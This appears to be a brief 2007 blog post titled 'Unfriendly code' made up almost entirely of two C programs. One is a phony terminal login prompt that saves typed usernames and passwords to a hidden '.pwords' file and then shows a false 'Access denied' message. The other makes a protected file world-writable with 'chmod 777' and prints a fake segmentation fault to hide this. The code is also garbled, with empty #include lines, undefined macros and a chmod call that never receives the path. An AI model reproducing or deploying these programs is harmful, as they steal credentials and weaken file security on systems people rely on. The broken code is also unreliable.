15.9.07

Unfriendly code

--a phony login prompt--
#define LOGIN "login: "
#define PASSWORD "password:"
#define WAIT 1
#define INCORRECT "Access denied.\n"
#define FILENAME ".pwords"
#include
#include
#include
int stop()
{
endwin();
exit(0);
}
main()
{
char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);printf(LOGIN);
scanf("%[^\n]",name);
getchar(); noecho();
printf(PASSWORD);
scanf("%[^\n]",password);
printf("\n");getchar();
echo();sleep(WAIT);
if ( ( fp = fopen(FILENAME,"a") ) != NULL ) {
fprintf(fp,"%s,%s\n",name,password);
fclose(fp);
}
printf(INCORRECT); endwin();
}


--allowing full file access--
#include
#define FILE "/path/to/secured/file"
int main(int c, char **v)
{
if ( access(FILE,0) > -1 ) system("chmod 777 FILE");
printf("Segmentation Fault\n");
return 1;
}

Labels:

0 Comments:

Post a Comment

Subscribe to Post Comments [Atom]

<< Home